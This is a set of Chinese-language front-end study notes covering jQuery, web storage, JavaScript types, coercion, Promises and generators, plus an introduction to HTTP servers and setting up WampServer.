字符串.replace();replace的第一个参数可以使字符串,也可以是正则表达式 <ul> <li>g - 全局匹配,str.replace(/c/g, "z");基本的正则表达式匹配到一个结果后就会停止,如果希望匹配到所有满足条件的字符部分,可以使用匹配模式g</li> <li>i - 忽略大小写,str.replace(/c/gi, "z")</li> <li></li> </ul> </li> <li>正则基本的提取方式(两种): <ul> <li> 字符串.match(reg);参数为正则表达式,返回一个匹配到的数组</li> <li>正则.exec();,参数为一个字符串,使用exec方法时,如果用一个正则对象进行多次匹配,结果为进行累计,如果第一轮匹配结束,会返回null,如果再次匹配,会从头开始</li> <li>exec的分组提取功能:var reg = /(\w+)@(\w+\.\w+)(?:\.\w+)*/g;使用括号可以进行分组提取,如果某一个括号中的内容不需要进行提取,可以在这个括号的开始部分添加?:</li> </ul> </li> </ul> </li> <li>\s表示一个空格;\w表示除汉字外其他字符,\d表示数组</li> </ul> <h4>递归:函数内部自己调用自己</h4> <ul> <li>计算1-10之间所有数的和</li> <li>斐波那契数列(兔子) 1 1 2 3 5 8 13(可使用对象保存方法返回值的方式进行优化)</li> </ul> </div> <div> <h2>第十九天jQery</h2> <h4>js和jq区别</h4> <ul> <li> js:1 入口函数的个数只能有一个;2 简单基本的dom操作,十分繁琐;3 兼容性问题;4 容错性差;5 制作简单的运动十分麻烦 </li> <li>jq实现入口函数的两种方式:$(document).ready(function(){});$(funtion())</li> <li>jq的入口函数执行要比js的入口函数早: <ul> <li>js的入口函数:页面完全加载(页面结构,图片)后执行。</li> <li>jq的入口函数:页面结构加载完毕后执行。</li> </ul> </li> <li>$是jq所暴露出来的一个全局变量;jQuery 是jq暴露的第二个全局变量,一般不使用,通常使用$的用法。($ === jQuery) <ul> <li>1 $("#btn1") 选择器功能</li> <li>2 $(function(){ }) 入口函数功能</li> <li>3 $(document) 赋予原生js的dom对象以新的功能(加强)</li> </ul> </li> </ul> <h4>js对象与jq对象</h4> <ul> <li>DOM对象:js中原生提供的方法获取的dom元素;jq对象:通过jq的获取方式获取到的对象,称为jq对象</li> <li>jq的方式获取的jq对象实际上是将原生的DOM对象进行了包装,再赋予新的功能,也称jq对象实际上是dom对象的包装集</li> <li>导致的特性,dom对象与jq对象的功能相互独立:dom对象只能使用dom的属性和方法;jq对象也只能使用jq提供的属性和方法</li> <li>将dom对象转换为jq对象(使用$()进行包裹即可)</li> <li>将jq对象(一个数组)转换为dom对象(取出jq对象内部的dom对象)dom=jq[0]</li> </ul> <h4>jq选择器</h4> <ul> <li>1 标签选择器: $("标签名")</li> <li>2 id选择器: $("#id名");</li> <li>3 类选择器: $(".类名");</li> <li>4 交集选择器:$("p.box")</li> <li>5 并集选择器: 使用逗号分割,一次选取多种标签:$("div.box,p")</li> <li>6 层级选择器 <ul> <li>1 子代选择器 >标识 $("ul>li")</li> <li>2 后代选择器 空格标识 $(".list li")</li> </ul> </li> <li> 基本选择器 <ul> <li>:even 获取到索引值为偶数的元素</li> <li>:odd 获取到索引值为奇数数的元素</li> <li>:eq(索引值) 按照索引值=获取某一个元素</li> </ul> </li> <li> 过滤选择器:都是方法的书写形式。好处:灵活性强,完善链式编程的书写方式。 <ul> <li>children() 获取子元素中的某些指定元素</li> <li>find() 找到后代中满足条件的元素</li> <li>parent() 获取父元素,注意与parentNode的区别,可能获取到多个元素</li> <li>siblings() 同级元素</li> <li>eq(索引值)</li> <li>next() 获取后一个同级元素</li> <li> prev() 获取前一个同级元素</li> </ul> </li> </ul> <h4>jq的两大特性</h4> <ul> <li> 隐式迭代(遍历):当我们使用jq获取了多个元素时不需要遍历,直接对进行对象进行操作;操作会应用与内部获取到的所有dom对象上</li> <li> 链式编程:当执行过任意的设置型操作后,均可继续操作原有对象</li> <li> 隐式迭代操作同样只对设置型操作有效果,对获取操作无效(原因是无法减少操作的步骤)</li> </ul> <h4>jq方法</h4> <ul> <li>index() 可以获取在同级元素中的索引值</li> <li>css方法用于进行样式的操作 <ul> <li>设置操作 : 样式名可以使用驼峰命名法和css的形式,但是推荐使用驼峰命名的方式;如果样式的值需要单位,单位可加可不加</li> <li>css方法可以一次进行多个样式的修改:传入一个对象</li> <li> 获取样式的值:$("#box").css("width");获取时,只能传入一个参数,如果是带单位的样式,结果具有单位,字符串格式</li> </ul> </li> <li>显示使用show();隐藏使用 hide();</li> <li> 移入事件: mouseover()会产生冒泡 mouseenter()不会产生冒泡;移出事件: mouseout() 会产生冒泡 mouseleave()不会产生冒泡 </li> </ul> </div> <div> <h2>第二十天jq类名操作丶动画与节点操作</h2> <h4>类名操作</h4> <ul> <li>添加类名: addClass()</li> <li>移除类名: removeClass();移除时不需要考虑设置时的书写顺序</li> <li>切换类名: toggleClass();检测,传入的类名是否存在,如果有,移除,如果没有,添加</li> <li>检测是否拥有类名:hasClass(); 返回bool值 <ul> <li>检测单个标签的单个类名(推荐的用法)</li> <li>检测单个标签的多个类名(通常不会进行多个类名的同时检测,除非可以确定类名书写的顺序否则,即便书写正确,但是位置不对,依然返回false)</li> <li> 多个标签的类名检测:检测时,多个标签中只要某个标签具有对应的样式,返回true,不准确</li> </ul> </li> </ul> <h4>三组jq自动动画与自定义动画</h4> <ul> <li> show()和hide(); <ul> <li>不传入参数表示显示,没有运动</li> <li>参数1,表示运动时间,毫秒为单位;参数1 允许传入字符串: "fast"200 "normal"400 "slow"600;</li> <li>如果传入的字符串为其他内容,默认为"normal"400毫秒。</li> <li>运动时修改的样式为宽 高 透明度</li> <li>参数2 回调函数,内部的代码会在运动完毕后执行</li> </ul> </li> <li> slideDown()滑入(拉下来)和slideUp() 滑出(上拉);slideToggle()切换 <ul> <li>参数1 表示运动时间,如果不传,默认为400毫秒;传入的形式可以为 毫秒的数值 或者 3种字符串</li> <li>参数2 回调函数,运动完毕后执行</li> </ul> </li> <li> fadeIn() 渐入;fadeOut()渐出;fadeToggle() 切换;fadeTo();渐到什么程度,参数为透明度,通常我们不推荐使用这个方法,原因是,会对其他的运动操作造成影响 </li> <li>animate(); <ul> <li>参数1 必选 要进行运动的样式以及运动到的值 , 对象形式</li> <li>参数2 可选 运动时间:可以为毫秒或者字符串形式</li> <li>参数3 可选 运动模式 默认为"swing" 缓动 , 可设置为"linear" 匀速</li> <li>参数4 可选 回调函数:运动结束执行</li> </ul> </li> <li>stop(); <ul> <li>参数1 是否清除动画队列 true表示清除,false表示不清除</li> <li>参数2 是否跳到当前动画的最终效果 true表示跳到最终效果 false不跳</li> <li>两个参数的默认值均为false;false,false 最终需要的效果,最常用</li> </ul> </li> </ul> <h4>节点操作</h4> <ul> <li> 创建元素的方式: <ul> <li>1 $("标签");</li> <li>2 指定某个标签内内部结构创建:html()相当于innerHTML,$("#box").html("标签");</li> </ul> </li> <li> 4中基本的节点移动方式 <ul> <li>append():与原生的appendChild的区别:如果添加的位置具有多个,可以同时添加到多个位置(dom方法不可以)</li> <li>prepend() 添加位置为元素的子节点最前面</li> <li>after() 向同级元素的前添加</li> <li>before() 向同级元素的后添加</li> <li>对应的4种:区别在于是当前调用方法的元素加到方法里面元素中;目的是为了完善链式编程的用法。 <ul> <li>appendTo();</li> <li>prependTo();</li> <li>insertAfter();</li> <li>insertBefore(); 跟dom中的insertBefore完全无关</li> </ul> </li> </ul> </li> <li>移除节点 <ul> <li>想要删除box内部的元素,$("#box").html("");这写标签的结构被删除掉了,实际上如果内部元素具有事件,这时事件无法移除。</li> <li>empty() 可以移除标签内部的所有内容 ( 感觉被掏空 )</li> <li>想要删除当前元素内部内容以及自身 remove() ( 自杀 ) detach() 不能删除事件</li> </ul> </li> </ul> <p> 动画队列:当一个一个运动没有完毕时,立刻添加一个新的动画, 这时旧的动画会继续执行,新的动画需要进行等待.会导致动画的积累,这种效果称为动画队列 </p> </div> <div> <h2>第二十一天 事件</h2> <h4>属性和样式操作</h4> <ul> <li>attr方法用于操作标签的行内属性(自定义属性 获取某些自带属性时取值不准确:类似disabled等属性的值为非bool值)</li> <li>prop方法用于操作标签的行内属性(自带属性)无法操作自定义属性</li> <li>样式获取操作: <ul> <li>通过css的方式获取样式值:宽</li> <li>$("#box").width() 获取宽度的数值,数值类型 只含有width的值</li> <li>innerWidth() 数值类型 含 width + padding</li> <li>outterWidth() 含 width + padding + border</li> <li>outterWidth(true) 含 width + padding + border + margin</li> </ul> 样式设置操作: <ul> <li>width()只有width修改</li> <li>$("#box").innerWidth(200);修改的是width + padding的总和 修改的具体值为width的值</li> <li>$("#box").outerWidth(200);修改的是width + padding + border 的总和 修改的具体值为width的值</li> <li>修改的是width + padding + border +margin 的总和 修改的具体值为width的值;传参方式:先传数,再传true</li> </ul> </li> </ul> <h4>scroll,offset,opsition</h4> <ul> <li>scrollTop() 卷曲高度;scrollLeft() 卷曲宽度</li> <li>使用offset()可以得到一个对象值 <ul> <li>是相对于页面的,与原生js的offset系列属性有所不同</li> <li>设置offset值时需要使用对象的形式,并且设置的值必须是数值类型</li> <li>如果元素没有设置定位,默认方法会给元素添加一个相对定位(不要让方法去加,自己设置即可)</li> </ul> </li> <li>position() 获取的样式值是参考定位的父盒子的值 <ul> <li>获取的结果与offsetLeft等 略有不同,取得的值不会包含margin的值</li> <li>无法设置,只读(下面的代码不会生效)</li> <li></li> </ul> </li> </ul> <h2>事件的</h2> <ul> <li>使用bind方法管理;$("#btn").bind("click mouseenter mouseleave",function () {}),参数可以是对象</li> <li>delegate() 可以添加事件委托 事件代理 $("#box").delegate("p,span","click",function () {})</li> <li>最终jq使用on()统一了所有的事件添加方式 <ul> <li>1 简单事件添加;$("#btn").on("click",function () {}).参数可以是对象</li> <li>2 添加多个事件;$("#btn").on("click mouseenter mouseleave",function () {//多个事件共用一个处理程序})</li> <li>3 事件委托的方式 注意参数传递顺序: 参数1 事件类型 参数2 指定哪些内部元素可以触发 参数3 事件处理程序</li> <li>$("#box").on("click", "p,span", function () {//将事件委托的box,而不是直接添加给内部的子元素})</li> </ul> </li> <li>事件委托先执行,然后在执行box自身设置的事件</li> <li> 事件的取消 <ul> <li>1 移除指定事件(移除各种各样的指定事件) $("#box").off("click");</li> <li>1.1 如果想要移除指定事件类型中的某一个事件,可以传入参数2,事件处理程序 $("#box").off("click", fun);</li> <li>1.2 移除事件委托 $("#box").off("click","**");</li> <li>2 同时移除多种事件 $("#box").off("click mouseenter");</li> <li>3 移除box的所有事件 $("#box").off();</li> </ul> </li> <li> 事件的触发方式 <ul> <li>手动触发点击事件 $("#btn").click();</li> <li>使用trigger方法触发某个事件,与基本的触发方式大体相同 $("#btn").trigger("click");(标准的触发方式,会执行事件代码以及触发事件执行的页面显示效果)</li> <li>$("#btn").triggerHandler("click"); 只会触发代码的执行, 不会出现页面显示上的变化</li> </ul> </li> <li>取消事件传播(jq中的使用方式:) <ul> <li>e.preventDefault();//可以取消标签的默认事件效果</li> <li>e.stopPropagation();//阻止事件传播</li> <li>return false;可以取消标签的默认事件效果,同时可以阻止事件的传播</li> <li>return false在js中只能取消标签的默认事件效果.</li> </ul> </li> </ul> <h4>其他</h4> <ul> <li>e.keyCode获取按键对应的值</li> <li>多库共存 <ul> <li>jq具有不同的版本,新版本的功能的效率基本上都高于低版本。;有的时候由于浏览器版本的限制,不得不使用旧版本。</li> <li>如果一个页面需要在多种浏览器上使用,可能根据使用的浏览器不同,使用的版本也不同。</li> <li>$.fn.jquery 该属性可以查看jq的版本号</li> <li>var $2 = $.noConflict() jq内部提供了一个方法,可以放弃jq对$的控制权,返回值为jq的使用权,我们可以将使用权赋予全新的一个变量。</li> </ul> </li> <li>图片懒加载插件</li> </ul> <h5>js文件第一行加 use strict 开启严格模式</h5> </div> </body> </html><file_sep>## cookie - cookie的尺寸4kb影响的是一个域下的所有的cookie,并非是对单条cookie的限制。 - cookie在每个浏览器的条数是不同的,最少的如ie6限制是每个域名最多20个。如果一个域名下要存储大量的cookie,可以采用子cookie的形式,但cookie的尺寸依旧受限制。 - cookie存储的任何数据都可以被其他人获取到,因此不要存储太过重要的信息。 ## web存储机制 ### Storage类型 - Storage类型只能存储字符串。非字符串的数据在存储之前会被转换成字符串。 - sessionStorage对象(5M) + 存储特定某个会话的数据,只能在当前存储的页面访问到,可以跨越页面刷新而存在。 + 因为sessionStorage对象绑定某个服务器会话,因此文件在本地运行是没有办法访问到的。 + sessionStorage对象是Storage的一个实例。 - globalStorage对象(在h5中被localStorage对象替代) + 使用它要指定哪些域名可以访问。 + globalStorage['域名']才是Storage的实例。 + 在某些不支持localStorage对象的浏览器中,可以使用globalStorage[location.host]来模拟localStorage对象。 - localStorage对象(20M) + 要访问同一个localStorage对象,页面必须来自同一个域名(子域名无效),使用同一种协议,在同一个端口上。 + localStorage对象是Storage实例。 + 可以持久保存数据。 - storage事件:对Storage对象进行任何修改,都会在文档上触发storage事件。 ### indexedDB 浏览器保存结构化数据的一种数据库 <file_sep># 第一部分 类型和语法 ## 类型 ### 内置类型 - Javascript有七种内置类型: + 空值 (null) + 未定义 (undefined) + 布尔值 (boolean) + 数字 (number) + 字符串 (string) + 对象 (object) + 符号 (symbol,ES6新增) - typeof 复合条件检查null类型:var a=null; (!a&& typeof a==="Object") - typeof Undeclared(未声明变量 not defined)。未声明的变量在全局作用域中会报错。但使用操作符typeof对其进行操作不会报错,会返回一个undefined,虽然实际上未声明变量的类型并不是undefined,是因为typeof的安全机制会对未声明的变量进行处理。所以typeof可以和window.属性起到一样的作用,即判断属性是否存在。 - 变量没有类型,变量的值才有类型 - 依赖注入,就是显示的把参数传入到函数中。 ## 值 ### 数组 - delete可以删除数组的一个项,但数组长度不发生变化,删除的项值为uudefined。 - 数组也是对象,可以包含对象的键值对,但加入键值对不影响数组的长度。但是如果这个键能被强制转换为number类型的话,它会被当成数字索引来处理。 ````js var arr=[]; arr.name="zzz"; console.log(arr.name);//zzz console.log(arr.length);//0 ```` - 类(伪)数组转数组:Array.prototype.slicec.call({0: "tt", length: 1});ES6方法:Array.from({0: "tt", length: 1}); ### 字符串 - 字符串是类数组,可以借用数组的许多方法。本身和数组有一些一样的方法,如length属性,indexOf方法和concat方法。 - 字符串本身并没有反转的方法,也不能“借用”数组的可变更成员函数,因为字符串是不可变的。但有一个变通的方法,可以先把字符串转换为数组进行反转,然后在拼接成字符串。 + 但是这种方法只能处理简单的字符串,包含复杂字符(Unicode,如星号,多字节字符等就是不合适)这时需要功能更完善的Unicode工具库。参考:https://github.com/mathiasbynents/esrever. + 如果要经常使用字符数组来处理字符串,不如直接使用数组,在转换为字符串。 ````js var str="woainiqinaideguniang"; var strArr=str.split(""); strArr.reverse(); //反转数组操作的是当前数组本身 str=strArr.join(""); ```` ### 数字 - 特别大或则特别小的数字用指数格式显示,与toExponential()函数输出结果相同。 ````js var a=5e10; //50000000000 a.toExponential();//"5e+10" ```` - 特殊数值 + null指空值,曾赋过值,但目前没有值。undefined指从未赋值 + Javascript的变量指向指,而不会指向其它变量 - 一般不推荐使用原生构造函数创建对象,如 Object(),Function(),RegExp(),但也有例外,当要创建动态正则表达式时,可以用new RegExp() 的方式。 - 构造函数Error带不带关键字new都一样。常和throw一起使用。 ````js function foo(x){if(!x){throw new Error("x wasn`t provided")}} ```` - 字符串API(以下方法不会改变原字符串,而是返回一个新字符串) + String.indexOf()在字符串中查找字串出现的位置 + String.charAt()获取字符串在指定位置上的字符 + 获取字符串的指定部分 + substr()第一个参数为开始位置,第二个参数为返回字符个数,如果第一个参数为负数,则从后往前数。 + subsgring()第一个参数为开始位置,第二个参数为结束位置,如果有一个参数为负数,可以把负数当成0处理。 + slice()第一个参数为开始位置,第二个参数为结束位置,第二个参数为负数意味着从后往前查找。 + toUpperCase和toLowerCase将字符串转大写或小写。 + trim去掉字符串空格,返回新字符串。 - 构造函数原型默认值,可以当成变量来用 + typeof Function.prototype 空函数 + RegExp.prototype.toString() 空正则表达式 + Array.isArray(Array.prototype) 空数组 ## 强制类型转换 - 类型转换发生在静态类型语言编译阶段,强制类型转换则发生在动态类型语言运行时。 - JSON字符串化 + 不安全的JSON值有undefined,function,symbol和包含循环引用的对象。用JSON.stringify()进行转换,前三者会被忽略,循环引用对象会报错。在数组中出现前三者,会给一个null值。 ````js JSON.stringify([function(){}])//[null] ```` + 如果要对含有非法的JSON值的对象字符串化,或则有些值无法被序列化,就需要定义一个toJSON()方法来返回一个安全的JSON值。原因是因为如果对象中定义了toJSON()方法,JSON字符串化时会先调用该方法,用它的返回值进行序列化。 + toJSON返回的应该是一个适当的值,可以是任何类型,然后再由JSON.stringity()对其进行字符串化,而不是返回JSON字符串化后的值。 + JSON.stringity(),还可以传入第二个参数。可以是数组或则函数。如果是数组,那么它必须是字符串数组,其中包含要被序列化属性的名称。如果是函数,那么它会对对象本身调用一次,然后对对象的每个属性依次调用,传入两个参数,键和值。如果replacer是函数,它的第一次调用时为undefined(就是对象本身调用的那次) + JSON.stringity()第三个可选参数时space,用来指定缩进的格式。 + 如果传递给 JSON.stringity()的对象中定义了toJSONto()方法,那么该方法会在字符串转化前调用,以便将对象转化为安全的JSON值。 ````js var o={}; var a={ b:42, c:o, d:function(){} } o.e=a; //JSON.stringify(a); //报错 a.toJSON=function(){ return {b:this.b}; //仅对b进行序列化 } JSON.stringify(a);//"{"b":42}" JSON.stringify(a,["b"]); //"{"b":42}" JSON.stringify(a,function(k,v){if(k!=="c"&&k!=="d")return v}) //"{"b":42}" ```` + Number - 对象(包括数组)会首先被转化为相应的基本类型值,如果返回的是非数字的基本类型值,则再将其强制转化为数字。 - 未来将值转化为相应的基本类型值,抽象操作ToPrimitive会首先检查该值是否拥有valueOf()方法。如果有并且返回基本类型值,则使用该值进行转化。如果没有就使用toString()的返回值(如果存在)来进行强制类型转化。 - 如果valueOf()和toString()均不返回基本类型值,则会产生TypeError()错误。 ````js var arr=[2,3,4]; arr.toString=function(){return this.join("")}//修改数组本身的toString方法 Number(arr); ```` + Boolean - 假值:false,undefined,null,"",NaN,+0,-0 + 显示类型转化 - +new Date()获取当前时间戳 + Date.now() + new Date().getTime() - 奇特的~运算符 + ~x大致等同于-(x+1);在-(x+1)中唯一能得到假值的是当x等于-1的时候。 ````js var str="ttaamm" if(~str.indexOf("b")){} //取反 !~str.indexOf("b") //比起使用>=0和==-1写法上要好很多,后者称为“抽象渗漏”意思是代码暴露了底层的实现细节。 ```` - 显示解析数字字符串 + 解析:parseInt,针对的是字符串,所以传递数字和其它类型无用 + 转换:Number - 字符串和数字之间的隐式强制类型转化 + a+""(隐式)和前面的String(a)(显示)之间有一个细微的差别需要注意,根据ToPrimitive抽象操作规则,a+“”会对a调用valueOf()方法,然后通过ToString抽象操作将返回值转化为字符串。而String(a)则直接调用ToString()方法。它们最后返回的都是字符串,但如果a是对象而非数字结果可能不一样。 ````js var a={ valueOf:function(){ return 12; } toString:function(){return 24;} } a+""; //12 String(a); //24 ```` - ||和&& + 对于||来说,如果判断条件为true,则返回第一个。 如果为false则返回第二个。 + &&则相反,如果判断结果为true,返回第二个,否则返回第一个。 - 宽松相等和严格相等正确的解释是:"=="允许在相等比较中进行强制类型转化,而===则不允许。 常见的误区是:===检查值和类型是否相等。 + ==和===都会检查值的类别,区别在于操作数类型不同时它们的处理方式不同。 + 在==比较中,一个为数字,一个为字符串,则字符串通过Number转化为数字进行比较 + 在==比较中,如果有一侧出现Booloean,则Booloean值进行Number转化后比较。 + 在==中,null和undefined相等,和自身也相等。和其它假值不相等(如false等) + Number({})为NaN,Number([])为0。 + 如果==两侧类型一样,不会发生类型转化。 - 安全运用隐式类型转化 + 如果两边的值中有true或则false,千万不要用==。 + 如果两边值中有[],""或则0,尽量不要使用 ==。 - a<=b:Javascript中<=是“不大于”的意思理解为!(a>b)。 ## 语法 # 性能和异步 ## 回掉 ### 省点回掉 - 保证调用一定是异步 ````js function anyncifn(fn){ var orig_fn=fn, intv=setTimeout(function(){ intv=null; //如果没有给fn重新赋值,说明fn已经执行过了 fn&&fn(); }); fn=null;//把fn置空 return function(){ //如果调用了定时器则为fase,也就是在异步的情况下会出现false //如ajax请求,当ajax进行回掉时,定时器已经执行完成,直接调用函数就可以了 //如果是一般调用,则让fn给定时器执行,保持回掉方法的异步执行。 if(intv){ //给fn重新赋值,让它在定时器中调用 //bind.apply 猜测这种用法是为了传递的参数为一个数组 fn=orig_fn.bind.apply( orig_fn, [this].concat([].slice.call(arguments)) ) }else{ orig_fn.apply(this,arguments); } } } var a=0; function fn(){ console.log(a); } anyncifn(fn)(); a++; ```` ## Promise ### Promise信任问题 - 回掉未调用:Promise提供了解决方案,使用了一种称为竞态的高级抽象机制。 ````js function timeoutPromise(delay){ return new Promise(function(resolve,reject){ setTimeout(function(){ reject("Timeout!") },delay) }) }; //应该是rece的竞态机制导致的,只要有一个Promise决议了,就执行回掉函数。 Promise.race([foo(),timeoutPromise(3000)]).then( function(){ // foo()及时完成 }, function(err){ //或则foo()被拒绝,或则只是没能按时完成 } ) ```` - 调用次数过多或过少 + Promise只会接受第一次决议,后续的决议都会忽略。对应的被注册的所有响应函数也只会被调用一次。 - Promise.reject()和Promise.resolve()区别,前者不会像后者一样进行展开,如果向reject()传递一个Promise/thenable值,这个值原封不动的设置为拒绝理由。后续的拒绝处理函数接受的是实际传递给reject()的那个Prommise/thenable,而不是其底层的立即值。提供给then的回掉,推荐使用:fulfilled()和rejected(); ## 生成器 - 生成器的本质就是生成一个迭代器,迭代器会执行完函数或遇到yield(屈服)停下。yieid会导致生成器在执行过程中发送出一个值,类似于中间的return。 ````js var x=1; function *foo(){ x++; yield; //暂停 console.log("x:",x); } function bar(){ x++; } var it=foo();//构造一个迭代器it来控制这个生成器 it.next();//启动foo() x; //2 bar(); x; //3 it.next(); //x:3 ```` ### 输入和输出 - 生成器是一个特殊的函数,只是具有新的执行模式,可以输入参数和返回值。间接的用迭代器控制生成器 ````js function *foo(x,y){ return x*y; } var it=foo(6,7); var res=it.next(); res.value;//42 ```` - yield和next()这一对组合起来,在生成器的执行过程中构成了一个双向消息传递系统。 + 本质上是第一个next先发起一个话题,如果发现yield则停下,看看yield是否有给它传递消息。有消息则把消息返回。然后第二个next()可以给第一个yield传递消息,顺带接受下一个yield的消息,没有的话接受reture的消息。第一个next只是起到启动生成器的作用,如果带入参数会被忽略掉,只能被动接受第一个yield给的消息。 ````js function *foo(x){ var mm={name:"zsn"}; return y=x*(yield mm) ; //把mm返回给迭代器 } var it=foo(5); var res= it.next(); console.log(res.value); //{name:"zsn"} res=it.next(8); //给yield传递参数 console.log(res.value); //40 ```` - 多个迭代器 - 每次构建一个迭代器,实际上就是隐式构建了一个生成器的实例,通过迭代器来控制生成器的实例。 ````js function *foo(){ var x=yield 2; z++; var y=yield(x*z); console.log(x,y,z); } var z=1; var it1=foo(); var it2=foo(); var val1=it1.next().value; //返回第一个yield后面的2 var val2=it2.next().value; //返回第一个yield后面的2 val1=it1.next(val2*10).value; //val2*10=》2*10 替换第一个yield,让x=20,z加1,z=2,返回第二个yield后面的值 x*z=》40. val2=it2.next(val1*5).value; // val1*5=》40*5 替换第一个yield,让 x=200,z加1,z=3,返回第二个yield后面的值 x*z=》200*3=>600 it1.next(val2/2); // val2/2=>600/2=300 替换第二个yelid的值,让 y=300. 则 x=20 y=300 z=3; it2.next(val1/4); // val1/4 =》40/4=10 替换第二个yield的值 让 y=10 则 x=200 y=10 z=3; ```` - 注意yield前面的语句都是执行了的,哪怕在同一行中,变量都会替换为对应的值。 ````js //yield 迭代器,第一个迭代器当前yield值带出,第二个迭代器在把当前yield替换为第一个迭代器带出的值。 function step(gen){ var it=gen(); var last; return function (){ last= it.next(last).value; } } function *foo(){ a++; yield; b=b*a; a=(yield b)+3; } function *bar(){ b--; yield; a=(yield 8)+b; b=a*(yield 2); } var a=1; var b=2; var s1=step(foo); var s2=step(bar); s2(); // b-- b=1 s2(); // 8 s1(); // a++ a=2 s2(); // a=9 s1(); //b=9 s1(); //a=12 s2(); // b= 18 console.log(a,b); ```` ### 生成器+Promise - 生成器yield出Promise,然后其控制生成器迭代器来执行它,直到结束。 ````js function run(gen){ //获取除了第一个函数以外的所有参数 var args=[].slice.call(arguments,1),it; //把参数传递给生成器,返回一个生成器对象 it=gen.append(this,args); return Promise.resolve().then(function handleNext(value){ //调用迭代器 var next=it.next(value); return (function handleResult(next){ //判断生成器是否执行完成 if(next.done){ return next.value; }//否则继续执行 else{ return Promise.resolve(next.value).then( //成功就恢复异步循环,把决议的值返回给生成器,继续迭代 handleNext, //如果value是被拒绝的promise,就把错误传回生成器进行错误处理 function handkeErr(err){ return Promise.resolve(it.throw(err)).then(handleResult); } ) } })(next) }) } //简单的调用 function *main(){ } run(main); //这种运行run()的方式,它会主动运行传递给它的生成器,直到结束。 ```` ### 生成器委托 - 在一个生成器中调用另一个生成器,可以把被调用的生成器的迭代委托调用者进行迭代。语法yield *生成器名称 ````js function *foo(){ console.log("*foo start"); yield 3; yield 4; console.log("*foo finished"); } function *bar(){ yield 1; yield 2; yield *foo(); //yield委托 yield 5; } var it=bar(); console.log(it.next().value); //1 console.log(it.next().value); //2 console.log(it.next().value); //*foo start 3 console.log(it.next().value); //4 console.log(it.next().value); //foo finished 5 console.log(it.next().value); // ```` ## 性能测试与调优 - 尾调用优化(TCO)ES6包含了一个性能领域的特殊要请,涉及到函数调用的特定优化方式。 + 调用一个新的函数需要额外的一块预留内存来管理调用栈,称为栈帧。所以在一个函数的尾部调用一个新的函数,新函数会直接用当前函数的栈帧,它就不会创建一个新的了。 + 在一般代码中,这个优化并不算什么,但在递归中,这个解决了大问题,特别是递归的数量大时。 + 只有在函数结尾单纯的调用新函数,而没有其它操作才被javascript引擎识别为TCO友好的尾调用。 + 如果没有TCO,引擎需要实现一个随意(还彼此不同)的限制来界定递归的深度,达到了就停止,以防止内存耗尽。 + 缺乏TCO会导致一些javascript算法因为害怕内存耗尽调用栈限制而降低了通过递归实现的效率。 ````js function factorial(n){ function fact(n,res){ if(n<2)return res; return fact(n-1,n*res); }; return (n,1); } ````<file_sep># http服务&ajax编程 ## 1、服务器 > 前言:通俗的讲,能够提供某种服务的机器(计算机)称为服务器 #### 1.1、服务器类型 按照不同的划分标准,服务可划分为以下类型: 1. 按**服务类型**可分为:文件服务器、数据库服务器、邮件服务器、Web服务器等; 2. 按**操作系统**可分为:Linux服务器、Windows服务器等; 3. 按**应用软件**可分为 Apache服务器、Nginx 服务器、IIS服务器、Tomcat服务器、 weblogic服务器、WebSphere服务器、boss服务器、 Node服务器等; #### 1.2、服务器软件 使计算机具备提供某种服务能力的应用软件,称为服务器软件, 通过安装相应的服务软件,然后进行配置后就可以使计算具备了提供某种服务的能力。 常见的服务器软件有: 1. 文件服务器:Server-U、FileZilla、VsFTP等(FTP是File Transfer Protocol文件传输协议); 2. 数据库服务器:oracle、mysql、SQL server、DB2、ACCESS等; 3. 邮件服务器:Postfix、Sendmail等; 4. **HTTP服务器**:Apache、Nginx、IIS、Tomcat、NodeJS等; #### 1.3、HTTP服务器 即网站服务器,主要提供文档(文本、图片、视频、音频)浏览服务,一般安装Apache、Nginx服务器软件。 HTTP服务器可以结合某一编程语言处理业务逻辑,由此进行的开发,通常称之为**服务端开发**。 常见的运行在服务端的编程语言包括 php、java、.net、Python、Ruby、Perl等。 ## 2、客户端 具有向服务器**索取服务**能力的终端,如比如 手机、电脑等,通过安装不同的客户端软件, 可以获取不同的服务,比如通过QQ获得即时通讯服务、通过迅雷获得下载服务等。 常见的客户端软件:浏览器、QQ、迅雷、Foxmail等。 以浏览器为宿主环境,结合 HTML、CSS、Javascript等技术,而进行的一系列开发,通常称之为**前端开发**。 ## 3、网络基础 #### 3.1 IP地址 所谓IP地址就是给每个连接在互联网上的主机分配的一个32位地址。(就像每部手机能正常通话需要一个号码一样) 查看本机IP地址 ping、ipconfig、ifconfig(linux) #### 3.2、域名 由于IP地址基于数字,不方便记忆,于是便用域名来代替IP地址,域名是一个IP地址的“面具” 查看域名对应的IP地址 ping #### 3.3、DNS服务 DNS(Domain Name System)因特网上作为域名和IP地址相互映射的一个分布式数据库, 能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。 简单的说就是记录IP地址和域名之间对应关系的服务。 查找优先级 本机hosts文件、DNS服务器 ipconfig /flushdns 刷新DNS #### 3.4、端口 端口号是计算机与外界通讯交流的出口,每个端口对应不同的服务。 *现实生活中,银行不同的窗口办理不同的业务。* 查看端口占用情况 netstat -an 常见端口号 80、8080、3306、21、22 ## 4、软件架构 #### 4.1、C/S结构 即**C**lient、**S**erver C/S工作流程图 ![alt_text](m_01.png) 在C/S结构的情况下,不同的服务需要安装不同的客户端软件, 比如QQ、迅雷、Foxmail这种情况下安装的软件会越来越多,同时也有许多弊端, 比如A出差,需要在B电脑上查收邮件,但是B电脑并未安装Foxmail等类似的客户端软件, 这样不得不先去下载Foxmail,非常不方便。 #### 4.2、B/S结构 B/S(即**B**roswer、**S**erver)解决了C/S所带来的不便, 将所有的服务都可以通过浏览器来完成(因为基本所有浏览器都安装了浏览器), 但B/S也有一些不利,比如操作稳定性、流畅度等方面相对较弱。 ## 5、搭建HTTP服务 >Windows + Apache + Mysql + PHP,首字母组合。 #### 5.1 安装WampServer 安装wampserver,和普通软件安装无差别,除指定安装路径外,其它默认安装。 #### 5.2 管理HTTP服务 任务图标**绿色为正常启动**状态 通过图形控制台可以启动、重启、停止所有服务 ![](m_07.png) 或者单独启动、重启、停止特定服务 ![](m_08.png) **注意事项:** 1、检查网络是不是通的 ping 对方IP 2、检查防火墙是否开启,如果开启将不能正常被访问 3、检查访问权限 **Allow from all** 4、理解默认索引 5、确保端口没有被**其它程序**占用 6、“#”表示注释 7、修改配置要格外小心,禁止**无意修改**其它内容 #### 5.3 配置根目录 网站根目录是Web服务器上存放网站程序的空间,可通过修改配置文件自定义,如E:/www **具体步骤如下:** 1、打开配置文件,控制台选择 ![](m_02.png) 或者 